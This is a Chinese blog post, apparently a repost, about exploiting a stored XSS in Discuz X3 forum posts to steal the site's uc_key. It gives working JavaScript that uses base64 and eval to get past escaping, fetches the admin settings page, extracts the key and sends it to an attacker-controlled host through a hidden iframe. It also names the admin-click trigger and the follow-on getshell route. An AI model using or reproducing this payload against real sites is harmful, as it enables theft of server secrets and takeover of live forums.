记一次艰难的discuz xss的利用(get uc_key)

来源:互联网 发布:烟台市网络党校app 编辑:程序博客网 时间:2024/06/03 20:16

首先找到一个discuz的xss还是比较容易的,本次测试的是Discuz X3的一个发帖的XSS,传送门
这里的xss脚本部分只能书写js的代码,并且测试后发现这里两个+号中间的双引号会被转义,如何破解这个难题呢?有一个神奇的函数eval,我们可以将js的代码用base64编码后,再用eval函数执行。这样构造eval(window.atob(base64编码后的js code))。
众所周知,由于discuz的cookie机制,这里我们即便拿到了cookie意义也不大,如何利用这个xss的漏洞成了当前的问题。xss之所以极具魅力,是因为这种攻击手法千变万化,发挥自己的无尽想象力能够创造出奇迹。discuz很多版本都存在uc_key getshell漏洞。我们能不能够用xss来获取uc_key呢?首先看看哪里会出现uc_key,配置文件中有但是我们拿不到,还有一个地方有,就是管理员的后台
这里写图片描述
如何获取到呢,我们可以用js代码请求这个页面获取源码(因为这里不属于跨域请求),获取源码之后里面肯定包含uc_key这个关键字的,我们只要做适当的字符串处理工作,把筛选出来的uc_key发到我们的接收端就可以了。下面是js代码片段:

var xmlHttpRequest; function createXmlHttpRequest(){    if(window.ActiveXObject)    {        return new ActiveXObject("Microsoft.XMLHTTP");    }    else if(window.XMLHttpRequest)    {        return new XMLHttpRequest();    }    }function zswFun(){    if(xmlHttpRequest.readyState == 4 && xmlHttpRequest.status == 200)    {        var b=xmlHttpRequest.responseText;        //从返回的字符串中查找定位uc_key        var start =b.indexOf("settingnew[uc][key]\" value=\"") +28;        if(start>28)        {            var end = b.indexOf("\" type=\"text\"" , start);            //挂一个iframe传送uc_key到我们的接收后台            var key="/r/n<iframe width='0' height='0' src='http://XXXXX/index.php?a=" + b.substr(start , end-start) +"'></iframe>";            top.document.body.innerHTML = top.document.body.innerHTML + key;        }    }    }xmlHttpRequest = createXmlHttpRequest();xmlHttpRequest.onreadystatechange = zswFun;xmlHttpRequest.open("GET","admin.php?action=setting&operation=uc",true);xmlHttpRequest.send(null);

这里写图片描述
成功获取到了,有了uc_key后面的工作就容易许多了,传送门。其实这只是一种思路,

想表达的思想就是xss可以轻松获取普通用户看不到的后台的页面情况。

触发条件
这里被攻击的管理员在登陆状态下(登陆管理后台)点击我们刚才发的帖子即可触发。

0 0
原创粉丝点击